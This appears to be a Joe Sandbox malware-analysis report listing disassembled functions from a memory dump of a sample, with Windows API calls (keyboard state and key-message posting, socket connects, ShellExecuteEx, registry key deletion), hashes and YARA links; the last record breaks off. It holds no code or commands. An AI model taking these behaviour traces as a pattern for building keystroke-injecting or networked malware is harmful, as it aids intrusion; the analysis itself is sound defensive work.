Instruction ID: c729ffbf1b4b994a8fdcfa3d6018276692ab10c556112d99ad87f8de9d3d0850
Opcode Fuzzy Hash: e371e85618321f19300d27815ba3015a053dbadf8935474e735215c2a93282c7
Instruction Fuzzy Hash: B7318F71914209EBCF20EF65DC85ABFB7B8EF45700F2481A5F904AB256D7709A14DBA0

Function 00C565C0 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00C565D8
GetDC.USER32(00000000), ref: 00C565E0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00C565EB
ReleaseDC.USER32(00000000,00000000), ref: 00C565F7
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00C56633
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00C56644
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00C59417,?,?,000000FF,00000000,?,000000FF,?), ref: 00C5667E
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00C5669E

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 43432e894eed5c84bc0ce82d2a1154fef2ae0eee6a315a4160852b4ce06703a5
Instruction ID: 02db520c387d66788712c2d8b7c7c5fde6797dc2275b926b3fc33a1562adc2ed
Opcode Fuzzy Hash: 43432e894eed5c84bc0ce82d2a1154fef2ae0eee6a315a4160852b4ce06703a5
Instruction Fuzzy Hash: F4317C76101214BFEB218F11CC4AFEB3FA9EF49751F040051FE08AA291C6B59951CBB4

Function 00C2C52B Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00C2C540
_memcmp.LIBCMT ref: 00C2C562
_memcmp.LIBCMT ref: 00C2C57A
_memcmp.LIBCMT ref: 00C2C58D
_memcmp.LIBCMT ref: 00C2C5A7
_memcmp.LIBCMT ref: 00C2C5BA
_memcmp.LIBCMT ref: 00C2C5D2
_memcmp.LIBCMT ref: 00C2C5ED

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 99e1bed6347182f5ca07d10efcd40ffa89c9ac47069b7eec952acb78f680c1d6
Instruction ID: 536654f81e1cc32cb1bc2d040729cc234cb333de9fe0180075828c022524d925
Opcode Fuzzy Hash: 99e1bed6347182f5ca07d10efcd40ffa89c9ac47069b7eec952acb78f680c1d6
Instruction Fuzzy Hash: A1212F61F0052AB7D620A5196DC2F7F335CAE60380B040472FD06D7642F761FF15A2E5

Function 00C3EFD3 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00BD4D37: __itow.LIBCMT ref: 00BD4D62
Part of subcall function 00BD4D37: __swprintf.LIBCMT ref: 00BD4DAC

Part of subcall function 00BE436A: _wcscpy.LIBCMT ref: 00BE438D

_wcstok.LIBCMT ref: 00C3F144
_wcscpy.LIBCMT ref: 00C3F1D3
_memset.LIBCMT ref: 00C3F206

Strings

X, xrefs: 00C3F243

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: cd5c0206e0f6dc83eddbad6826308782426a6b988b8ebac4956a8ac4f99fcc51
Instruction ID: 1073d6e97289e7336e52f79cad84862f6c2f622a8723cc9f598683108a89b73f
Opcode Fuzzy Hash: cd5c0206e0f6dc83eddbad6826308782426a6b988b8ebac4956a8ac4f99fcc51
Instruction Fuzzy Hash: EEC16D755187419FC724EF28C845A6EB7E4EF84310F10496DF89A973A2DB30ED46CB92

Function 00C46FB3 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00C470B0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00C470D1
WSAGetLastError.WSOCK32(00000000), ref: 00C470E4
htons.WSOCK32(?,?,?,00000000,?), ref: 00C4719A
inet_ntoa.WSOCK32(?), ref: 00C47157

Part of subcall function 00C2B2CD: _strlen.LIBCMT ref: 00C2B2D7
Part of subcall function 00C2B2CD: _memmove.LIBCMT ref: 00C2B2F9

_strlen.LIBCMT ref: 00C471F4
_memmove.LIBCMT ref: 00C4725D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 5dbea5849a892c221eaf55830f67d7ea925097a2f2df8bcb4d00c43b8e5c8500
Instruction ID: 074fdd7248a3ed62c55397c78e7a1086b8311b7dd7d24de163108b7644b3626d
Opcode Fuzzy Hash: 5dbea5849a892c221eaf55830f67d7ea925097a2f2df8bcb4d00c43b8e5c8500
Instruction Fuzzy Hash: B381C071508300ABC720EB65DC85F6FB7E8EF84714F104A5DF5559B292EB70AD05CB91

Function 00BD1800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34875c9d27fabca250cad41e763a22b7dd966ff306f8a8fd3454f639a459fc50
Instruction ID: 0bb1b47c4e9b620dd68c47fc00b220e690427b5d9b741e93a46293a09940320e
Opcode Fuzzy Hash: 34875c9d27fabca250cad41e763a22b7dd966ff306f8a8fd3454f639a459fc50
Instruction Fuzzy Hash: E3717E30900109FFCB18CF58CC85EAEBBB9FF86314F14859AF915AB291D7319A51DBA0

Function 00C5B73E Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01154828), ref: 00C5B7D8
IsWindowEnabled.USER32(01154828), ref: 00C5B7E4
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00C5B8C8
SendMessageW.USER32(01154828,000000B0,?,?), ref: 00C5B8FF
IsDlgButtonChecked.USER32(?,?), ref: 00C5B93C
GetWindowLongW.USER32(01154828,000000EC), ref: 00C5B95E
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00C5B976

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: f80656949c02faa5edb754a96ceb076b42eedcad93e180ca2d944e286b7588e4
Instruction ID: e19f820792275d1ec4ce4387dd7f557fa10c0310b956eb748b846284f2b4e7b2
Opcode Fuzzy Hash: f80656949c02faa5edb754a96ceb076b42eedcad93e180ca2d944e286b7588e4
Instruction Fuzzy Hash: AC719F38600204AFDB209F65C8D4FAA7FB9FF49352F144059FD65972A1C731AE98DB28

Function 00C4F8CF Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C4F8F9
_memset.LIBCMT ref: 00C4F9C2
ShellExecuteExW.SHELL32(?), ref: 00C4FA07

Part of subcall function 00BD4D37: __itow.LIBCMT ref: 00BD4D62
Part of subcall function 00BD4D37: __swprintf.LIBCMT ref: 00BD4DAC

Part of subcall function 00BE436A: _wcscpy.LIBCMT ref: 00BE438D

GetProcessId.KERNEL32(00000000), ref: 00C4FA7E
CloseHandle.KERNEL32(00000000), ref: 00C4FAAD

Strings

@, xrefs: 00C4F9D6

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 9b4c77590848e68b19bfcca9abd399c1fa81bed17348e006d66b3cde14a8c209
Instruction ID: da8934b80d79c28468ff37e6c425bd9511d8ae59a924b3852e84cbeb121d4b89
Opcode Fuzzy Hash: 9b4c77590848e68b19bfcca9abd399c1fa81bed17348e006d66b3cde14a8c209
Instruction Fuzzy Hash: A2619E75A006199FCB14EF54C484AAEFBF5FF48310F1485ADE859AB351DB30AD42CB90

Function 00C315B8 Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00C315F7
GetKeyboardState.USER32(?), ref: 00C3160C
SetKeyboardState.USER32(?), ref: 00C3166D
PostMessageW.USER32(?,00000101,00000010,?), ref: 00C3169B
PostMessageW.USER32(?,00000101,00000011,?), ref: 00C316BA
PostMessageW.USER32(?,00000101,00000012,?), ref: 00C31700
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00C31723

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 87a6826bc052b1a3ebdb3d3067fdd485b459ada7c96e4524e4f3bfaf406cb149
Instruction ID: 8e87598edd46fbf15c84a1e091d0ea59260e490e822b35009188427b75024c2f
Opcode Fuzzy Hash: 87a6826bc052b1a3ebdb3d3067fdd485b459ada7c96e4524e4f3bfaf406cb149
Instruction Fuzzy Hash: 9C5105A06247D13DFB324664CC16BBA7FA99B06304F0C4989F9E5458C2C6E8AE94D760

Function 00C313D1 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00C31410
GetKeyboardState.USER32(?), ref: 00C31425
SetKeyboardState.USER32(?), ref: 00C31486
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00C314B2
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00C314CF
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00C31513
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00C31534

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: fcbe85db1acfa498e1064390e957bbd2016ed0460cebd518fb818c37cf45b6e2
Instruction ID: 2374ec82238111e5069dd54b904ced26da2419dd37c13b55d7481d6861f44d14
Opcode Fuzzy Hash: fcbe85db1acfa498e1064390e957bbd2016ed0460cebd518fb818c37cf45b6e2
Instruction Fuzzy Hash: AF514AA05643D53DFB3387348C11BBABFA9AB46300F0C8489F9E65A4C3D294EE84E750

Function 00C35A25 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00C35A32
_wcsncpy.LIBCMT ref: 00C35A67
_wcsncpy.LIBCMT ref: 00C35A99
_wcsncpy.LIBCMT ref: 00C35ACC
_wcsncpy.LIBCMT ref: 00C35B0E
_wcsncpy.LIBCMT ref: 00C35B48
_wcsncpy.LIBCMT ref: 00C35B77

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: b9a31cb8622578f33f07615ddfd2cdac5af19669b955b29f9a8a9d0aa3152107
Instruction ID: de6ae15e9c1127afbc9f2b4240dc04108fc1ae8c6f6ff3dc6b15d0b398449680
Opcode Fuzzy Hash: b9a31cb8622578f33f07615ddfd2cdac5af19669b955b29f9a8a9d0aa3152107
Instruction Fuzzy Hash: 61415266C2161876CB11EBA88C4A9EFB3FC9F05310F5044A6F618E3221EB75D359C7A9

Function 00C339D1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C34A30: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00C339F7,?), ref: 00C34A4D

Part of subcall function 00C34A30: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00C339F7,?), ref: 00C34A66

lstrcmpiW.KERNEL32(?,?), ref: 00C33A17
_wcscmp.LIBCMT ref: 00C33A33
MoveFileW.KERNEL32(?,?), ref: 00C33A4B
_wcscat.LIBCMT ref: 00C33A93
SHFileOperationW.SHELL32(?), ref: 00C33AFF

Strings

\*.*, xrefs: 00C33A8D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 3fe5a038c06e13e53b8bfef30622d7b286907674d8715147faa23a2b4f02db6e
Instruction ID: 19c0d502dbbac692282fa647fce22ae5e232a9aba387468e160c706c51b935df
Opcode Fuzzy Hash: 3fe5a038c06e13e53b8bfef30622d7b286907674d8715147faa23a2b4f02db6e
Instruction Fuzzy Hash: F6419A71518384AAC765EB60C441AEBB7ECEF88340F10096EB4DAC3151EB34E789DB66

Function 00C5767E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C57697
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C5773E
IsMenu.USER32(?), ref: 00C57756
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00C5779E
DrawMenuBar.USER32 ref: 00C577B1

Strings

0, xrefs: 00C5768B

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 5dee37188dd927d5c7778affd642d4aa9b57491d6fa7b58e0096cbc42c156397
Instruction ID: ff1998df6d59c9b55efadc5d6e0bbf91d55034baf7c77c3c69b67d723e4965fb
Opcode Fuzzy Hash: 5dee37188dd927d5c7778affd642d4aa9b57491d6fa7b58e0096cbc42c156397
Instruction Fuzzy Hash: 53414F78604208EFDB21DF51E884E9ABBF4FB08395F148159ED1597360D770AD94CFA4

Function 00C513CA Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00C513F9
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00C51423
FreeLibrary.KERNEL32(00000000), ref: 00C514DA

Part of subcall function 00C513CA: RegCloseKey.ADVAPI32(?), ref: 00C51440
Part of subcall function 00C513CA: FreeLibrary.KERNEL32(?), ref: 00C51492
Part of subcall function 00C513CA: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00C514B5

RegDeleteKeyW.ADVAPI32(?,?), ref: 00C5147D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: f5ab43bdce90f469c8b40742ccf73bb253fbd6fa090bff27608fd5e4b23a72a3
Instruction ID: 1e3f68a4e2b532d2bdf95da775c956a62e3d27db54ad0cdf4dc1eafb85c4dd0d
Opcode Fuzzy Hash: f5ab43bdce90f469c8b40742ccf73bb253fbd6fa090bff27608fd5e4b23a72a3
Instruction Fuzzy Hash: C0313C75900109BFDB24DB91DC89BFFB7BCEF08341F140169ED16A2141E7B49F899AA4

Function 00C566BA Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00C566D9
GetWindowLongW.USER32(01154828,000000F0), ref: 00C5670C
GetWindowLongW.USER32(01154828,000000F0), ref: 00C56741
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00C56773
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00C5679D
GetWindowLongW.USER32(?,000000F0), ref: 00C567AE
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00C567C8

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: faddb0266ceec5a12bf1e3783284b01661b1642db40cd4a7daf4b91fa1e1b0ac
Instruction ID: 581b0b44b19d524e9d4ec0af36c5c275cb916d8645f080f30ee9337c82f4c2ba
Opcode Fuzzy Hash: faddb0266ceec5a12bf1e3783284b01661b1642db40cd4a7daf4b91fa1e1b0ac
Instruction Fuzzy Hash: 903137382001409FDB21CF19DC88F5937E1FB49795F6901A5F9219B2F2CB71E998DB58

Function 00C2E06A Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00C2E0AD
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00C2E0D3
SysAllocString.OLEAUT32(00000000), ref: 00C2E0D6
SysAllocString.OLEAUT32(?), ref: 00C2E0F4
SysFreeString.OLEAUT32(?), ref: 00C2E0FD
StringFromGUID2.OLE32(?,?,00000028), ref: 00C2E122
SysAllocString.OLEAUT32(?), ref: 00C2E130

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: efffaf78928bb7db93befd923c4eb8190f95bb90738c756f03929da3fe44725c
Instruction ID: 6b69fc7e63fd1ee31924f4d812f6f1a0294a915f12f9b7b02767b06a90c50c94
Opcode Fuzzy Hash: efffaf78928bb7db93befd923c4eb8190f95bb90738c756f03929da3fe44725c
Instruction Fuzzy Hash: 9E21C732600219AF9B20DFB9DC88DBF73ECEB08360B148125FA14EB191DAB0DD418B60

Function 00C46623 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4823D: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00C48268

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00C46676
WSAGetLastError.WSOCK32(00000000), ref: 00C46685
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00C466BE
connect.WSOCK32(00000000,?,00000010), ref: 00C466C7
WSAGetLastError.WSOCK32 ref: 00C466D1
closesocket.WSOCK32(00000000), ref: 00C466FA
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00C46713

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: e030eeae1a14cc82cea6fa024a6d805bb140cb142e4b745fbad7bcc02621f315
